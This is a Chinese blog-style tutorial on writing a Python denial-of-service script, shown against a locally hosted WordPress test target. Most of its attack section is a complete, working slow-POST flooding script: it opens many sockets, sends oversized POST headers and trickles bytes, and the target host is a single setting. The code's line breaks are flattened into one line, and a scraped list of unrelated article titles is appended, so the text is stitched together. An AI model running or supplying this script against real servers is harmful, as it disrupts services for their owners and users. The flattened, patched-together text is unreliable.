注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。转载须标明出处。

欢迎关注微信公众号:黑客帮 获取更多干货。

Dos攻击简介

DOS:中文名称是拒绝服务,一切能引起DOS行为的攻击都被称为DOS攻击。该攻击的效果是使得计算机或网络无法提供正常的服务。常见的DOS攻击有针对计算机网络带宽和连通性的攻击。DOS是单机于单机之间的攻击。

Dos攻击原理

首先攻击者向被攻击的服务器发送大量的虚假IP请求,被攻击者在收到请求后返回确认信息,等待攻击者进行确认,(此处需要拥有HTTP协议工作方式和TCP三次握手的基本知识)该过程需要TCP的三次握手,由于攻击者发送的请求信息是虚假的,所以服务器接收不到返回的确认信息,在一段时间内服务器会处与等待状态,而分配给这次请求的资源却被有被释放。当被攻击者等待一定的时间后,会因连接超时而断开,这时攻击者再次发送新的虚假信息请求,这样最终服务器资源被耗尽,直到瘫痪。

代码

import socketimport timeimport threadingMAX_CONN = 200000 # 最大连接数PORT = 80HOST = "127.0.0.1" # 目标IP或域名.PAGE = "/index.php" # 目标页面buf = ("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" # 实体数据大小 "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE, HOST))socks = []def conn_thread(): global socks for i in range(0, MAX_CONN): # MAX_CONN允许最大连接数 # AF_INET 表示 IPv4 地址,创建 TCP套接字,一定要使用 SOCK_STREAM 作为套接字类型 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) s.send(buf.encode()) print("[+] 成功发送buf!,conn=%d\n" % i) socks.append(s) except Exception as ex: print("[-] 无法连接服务器或发送错误:%s" % ex) time.sleep(1) # 暂停1秒def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) except Exception as ex: print("[-] 发送异常:%s\n" % ex) socks.remove(s) s.close() time.sleep(1)# 建立多线程conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())# 开启线程conn_th.start()send_th.start()conn_th2 = threading.Thread(target=conn_thread, args=())send_th2 = threading.Thread(target=send_thread, args=())conn_th2.start()send_th2.start()

DOS攻击演示

这里演示的是攻击上次搭建的靶机-> Python黑客攻防(四)搭建测试环境,攻击机是Windows10本机,靶机也是搭建在Windows10上的WordPress。。

先访问一下http://127.0.0.1/wp-login.php,记录一下攻击前的状态。

然后开始攻击。

再次访问http://127.0.0.1/wp-login.php,查看效果。

OK,演示结束。自己搭建的这种靶机服务器坚持不了几秒就凉了。

总结

以上就是容易的Dos攻击了,当然这种攻击对许多强大的服务器是没有多大影响的。还有更厉害的DDOS攻击(分布式拒绝服务攻击),DDOS是攻击者控制多台主机同时向同一主机或网络发起DOS攻击。

微信公众号:黑客帮

python实用黑客脚本_Python黑客攻防(十六)编写Dos脚本,进行容易攻击演示相关推荐

  1. Polyworks脚本开发学习笔记(十六)-用C#进行Polyworks二次开发

    Polyworks脚本开发学习笔记(十六)-用C#进行Polyworks二次开发 Polyworks支持C#二次开发,用对应的SDK文档试着做一下开发样例. 新建一个C#项目,在解决方案中右键添加引用 ...

  2. Shell脚本学习-阶段二十六-Web服务与端口

    文章目录-Shell阶段二十六-端口与服务对照表 前言 端口与Web服务对照表 简介 前言 端口与Web服务对照表 2端口:管理实用程序 3端口:压缩进程 5端口:远程作业登录 7端口:回显 9端口: ...

  3. python进阶记录之基础篇二十六_Python进阶记录之基础篇(十六)

    回顾 在Python进阶记录之基础篇(十五)中,我们介绍了面向对象的基本概念以及Python中类和对象的基础知识,需要重点掌握类的创建和对象的使用.今天我们继续讲一下Python中面向对象的相关知识点 ...

  4. python淘宝抢购_Python 实现毫秒级淘宝抢购脚本的示例代码

    本篇文章主要介绍了Python 通过selenium实现毫秒级自动抢购的示例代码,通过扫码登录即可自动完成一系列操作,抢购时间精确至毫秒,可抢加购物车等待时间结算的,也可以抢聚划算的商品. 博主不提供 ...

  5. python批量ping脚本_Python多线程批量Ping主机IP的脚本

    Python 编写多线程 Ping 主机IP的脚本 1. 先编写一个 Ping 主机IP的脚本 ping_ip.pyimport subprocess import time # 记录开始执行的时间 ...

  6. python获取gps数据_python获取android设备的GPS信息脚本分享

    在android上,我们可以使用QPython来编写.执行Python脚本.它对很多android 系统函数进行了方便的封装,使用QPython编写功能简单的小程序异常方便. 这个示例是我之前用来读取 ...

  7. python毫秒级别抢购_Python 实现毫秒级淘宝抢购脚本

    本篇文章主要介绍了Python 通过selenium实现毫秒级自动抢购的示例代码,通过扫码登录即可自动完成一系列操作,抢购时间精确至毫秒,可抢加购物车等待时间结算的,也可以抢聚划算的商品. 博主不提供 ...

  8. python自动刷视频_python+adb命令实现自动刷视频脚本案例

    python小白第一次发博客,自己自学了一下写了一个demo,可能语法啥的不够标准,毕竟没有真正学过python 主要用到的是 import os #os包用于运行cmd命令 adb shell #这 ...

  9. 用python写一个自动注册脚本_python写的自动登录人人网的脚本

    我今天给大家分享一个我自己用 #!/usr/bin/env python #encoding=utf-8 import sys import re import urllib2 import urll ...

最新文章

  1. C#读取excel文件数据丢失问题
  2. python使用FPDF包将多个图像文件写入pdf文件实战
  3. bpexpdate – 更改映像目录库中备份的截止日期以及介质目录库中介质的截止日期nbu...
  4. 微软Windows Server 2008之二计算机名称
  5. 简单的相似图片搜索的原理
  6. python脚本监控网站状态 - 赵海华_运维之路 - 51CTO技术博客
  7. 字节对齐和C/C++函数调用方式学习总结(多篇节选)
  8. linux下错误的捕获:errno、perror和strerror的使用
  9. Jackson使用:String 与对象互转、Jackson 从 json 字符串转换出对象
  10. Linux的实际操作:关机shutdown、重启reboot、用户注销logout
  11. PHP 开发邀请功能,使用 larainvite 为 Laravel 5.3 应用添加邀请注册功能
  12. Ubuntu18.04 + CUDA10.0 + tensorflow-gpu 安装过程
  13. WP:当文档中有阿拉伯文(维文)时,文字布局很麻烦
  14. 厉害了!图解 23 种设计模式,终于有人讲清楚了!面试揭秘
  15. 金蝶K3案例教程库存报表
  16. 使用Python模块webbrowser实现自动打开网页/刷新网页
  17. arduino定时器控制舵机_用 Arduino 控制舵机
  18. 电摩测试速度什么软件,速度最快的4款新电动车,你更看好谁?为什么呢?
  19. ARP协议详解 ARP报文结构
  20. 笔记本重置找不到恢复环境_Win10重置找不到恢复环境需要安装介质的修复图文教程...

热门文章

  1. java logging 格式化_Spring源码使用java.util.logging打印日志
  2. c++ opencv 识别车牌_小强学Python+OpenCV之-1.0开篇
  3. python 判断线程状态_Python 线程和进程
  4. videojs中文文档详解_你的项目需要一个高质量README文档!
  5. Windows系统判断是否为64位系统(C++)
  6. Kroneker Tensor:克罗内克张量
  7. libcareplus一个Qemu-6.1.0热补丁示例
  8. NanoLog软件架构
  9. 13 个开源备份解决方案
  10. Decision Tree(DT)决策树